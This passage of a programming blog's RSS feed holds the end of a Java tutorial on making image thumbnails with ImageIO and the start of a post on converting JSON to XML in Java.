  String imgPath&lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt;s&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;nextLine&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;();&lt;/span&gt;
  File thumnailImg&lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt;createThumbnail&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;new&lt;/span&gt; File&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;imgPath&lt;span style=&quot;color: #333333;&quot;&gt;),&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;400&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;400&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
  System&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Thumbnail generated at &quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;+&lt;/span&gt;thumnailImg&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;getAbsolutePath&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;());&lt;/span&gt;
 &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;i&gt;How it works:&lt;/i&gt;&lt;br /&gt;
1) A scanner object is created to take user input.&lt;br /&gt;
2) Image location for which thumbnail need to be generated is taken using the scanner object&lt;br /&gt;
3) We call the createThumbnail function (will create this) passing the image and the required thumbnail width and height.&lt;br /&gt;
4) createThumbnail returns the File object pointing to the generated thumbnail which is now shown to user.&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background-color: white; line-height: 16.25px;&quot;&gt;&lt;i&gt;createThumbnail method:&lt;/i&gt;&lt;/pre&gt;
&lt;div style=&quot;background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt; &lt;span style=&quot;color: #888888;&quot;&gt;/**&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;  * Creates a thumnail of provided image&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;  * @param inputImgFile The input image file&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;  * @param thumnail_width Desired width of the output thumbnail&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;  * @param thumbnail_height Desired height of thr output thumnail&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;  */&lt;/span&gt;
 &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;static&lt;/span&gt; File &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;createThumbnail&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;File inputImgFile&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; thumnail_width&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; thumbnail_height&lt;span style=&quot;color: #333333;&quot;&gt;){&lt;/span&gt;
  File outputFile&lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;try&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
  BufferedImage img &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;new&lt;/span&gt; BufferedImage&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;thumnail_width&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; thumbnail_height&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; BufferedImage&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;TYPE_INT_RGB&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
  img&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;createGraphics&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;drawImage&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;ImageIO&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;inputImgFile&lt;span style=&quot;color: #333333;&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;getScaledInstance&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;thumnail_width&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; thumbnail_height&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; Image&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;SCALE_SMOOTH&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;),&lt;/span&gt;&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
  outputFile&lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;new&lt;/span&gt; File&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;inputImgFile&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;getParentFile&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;()+&lt;/span&gt;File&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;separator&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;thumnail_&quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;+&lt;/span&gt;inputImgFile&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;getName&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;());&lt;/span&gt;
   ImageIO&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;img&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;jpg&quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; outputFile&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
   &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;return&lt;/span&gt; outputFile&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;catch&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;IOException e&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
   System&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Exception while generating thumbnail &quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;+&lt;/span&gt;e&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;getMessage&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;());&lt;/span&gt;
   &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
 &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;i&gt;How it works:&lt;/i&gt;&lt;br /&gt;
1) We use the ImageIO class to create a scaled version of the input image using the predefined&amp;nbsp;getScaledInstance method passing the desired thumbnail width and height&lt;br /&gt;
2) We pass the Image from Step1 into a BufferedImage object&lt;br /&gt;
3) Now we simply use the write method of ImageIO class to write the BufferedImage from Step2 into a jpg file and return a File object pointing to same.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Output:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; Enter the path of image whose thumbnail need to be generated  
 C:\images\extra\7.jpg  
 Thumbnail generated at C:\images\extra\thumnail_7.jpg  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Full Program:&lt;/b&gt;&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt; 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;package&lt;/span&gt; com&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;cooltrickshome&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #0e84b5; font-weight: bold;&quot;&gt;java.awt.Image&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #0e84b5; font-weight: bold;&quot;&gt;java.awt.image.BufferedImage&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #0e84b5; font-weight: bold;&quot;&gt;java.io.File&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #0e84b5; font-weight: bold;&quot;&gt;java.io.IOException&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #0e84b5; font-weight: bold;&quot;&gt;java.util.Scanner&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #0e84b5; font-weight: bold;&quot;&gt;javax.imageio.ImageIO&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;class&lt;/span&gt; &lt;span style=&quot;color: #bb0066; font-weight: bold;&quot;&gt;ThumbnailGenerator&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;

 &lt;span style=&quot;color: #888888;&quot;&gt;/**&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;  * @param args&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;  */&lt;/span&gt;
 &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;static&lt;/span&gt; &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;String&lt;span style=&quot;color: #333333;&quot;&gt;[]&lt;/span&gt; args&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #888888;&quot;&gt;// TODO Auto-generated method stub&lt;/span&gt;
  Scanner s &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;new&lt;/span&gt; Scanner&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;System&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
  System&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Enter the path of image whose thumbnail need to be generated&quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
  String imgPath&lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt;s&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;nextLine&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;();&lt;/span&gt;
  File thumnailImg&lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt;createThumbnail&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;new&lt;/span&gt; File&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;imgPath&lt;span style=&quot;color: #333333;&quot;&gt;),&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;400&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;400&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
  System&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Thumbnail generated at &quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;+&lt;/span&gt;thumnailImg&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;getAbsolutePath&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;());&lt;/span&gt;
 &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;

 &lt;span style=&quot;color: #888888;&quot;&gt;/**&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;  * Creates a thumnail of provided image&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;  * @param inputImgFile The input image file&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;  * @param thumnail_width Desired width of the output thumbnail&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;  * @param thumbnail_height Desired height of thr output thumnail&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;  */&lt;/span&gt;
 &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;static&lt;/span&gt; File &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;createThumbnail&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;File inputImgFile&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; thumnail_width&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; thumbnail_height&lt;span style=&quot;color: #333333;&quot;&gt;){&lt;/span&gt;
  File outputFile&lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;try&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
  BufferedImage img &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;new&lt;/span&gt; BufferedImage&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;thumnail_width&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; thumbnail_height&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; BufferedImage&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;TYPE_INT_RGB&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
  img&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;createGraphics&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;drawImage&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;ImageIO&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;inputImgFile&lt;span style=&quot;color: #333333;&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;getScaledInstance&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;thumnail_width&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; thumbnail_height&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; Image&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;SCALE_SMOOTH&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;),&lt;/span&gt;&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
  outputFile&lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;new&lt;/span&gt; File&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;inputImgFile&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;getParentFile&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;()+&lt;/span&gt;File&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;separator&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;thumnail_&quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;+&lt;/span&gt;inputImgFile&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;getName&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;());&lt;/span&gt;
   ImageIO&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;img&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;jpg&quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; outputFile&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
   &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;return&lt;/span&gt; outputFile&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;catch&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;IOException e&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
   System&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Exception while generating thumbnail &quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;+&lt;/span&gt;e&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;getMessage&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;());&lt;/span&gt;
   &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
 &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
&lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Hope it helps :)&lt;/b&gt;&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2017/07/create-image-thumbnails-using-java.html</link><author>noreply@blogger.com (csanuragjain)</author><thr:total>1</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6044825 37.654286000000042 49.791850499999995 120.27147400000004</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-2866681449952745839</guid><pubDate>Sat, 27 May 2017 15:25:00 +0000</pubDate><atom:updated>2017-05-27T08:25:41.916-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">convert</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">json</category><category domain="http://www.blogger.com/atom/ns#">schema</category><category domain="http://www.blogger.com/atom/ns#">xml</category><title>Convert JSON to XML using Java</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
This post will discuss on how you can convert json to xml using Java.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Language Used:&lt;/b&gt;&lt;br /&gt;
Java&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Pom Dependency:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; &amp;lt;!-- https://mvnrepository.com/artifact/org.json/json --&amp;gt;  
 &amp;lt;dependency&amp;gt;  
   &amp;lt;groupId&amp;gt;org.json&amp;lt;/groupId&amp;gt;  
   &amp;lt;artifactId&amp;gt;json&amp;lt;/artifactId&amp;gt;  
   &amp;lt;version&amp;gt;20170516&amp;lt;/version&amp;gt;  
 &amp;lt;/dependency&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Git Repo:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/csanuragjain/extra/tree/master/convertJson2XML&quot;&gt;https://github.com/csanuragjain/extra/tree/master/convertJson2XML&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Program:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;i&gt;main method:&lt;/i&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static void main(String[] args) {  
           // TODO Auto-generated method stub  
           String jsonString=&quot;{\&quot;name\&quot;:\&quot;Virat\&quot;,\&quot;sport\&quot;:\&quot;cricket\&quot;,\&quot;age\&quot;:25,\&quot;id\&quot;:121,\&quot;lastScores\&quot;:[72,23,57,54,36,74,17]}&quot;;  
           System.out.println(new Json2XML().json2XML(jsonString));  
      }  
&lt;/code&gt;&lt;/pre&gt;
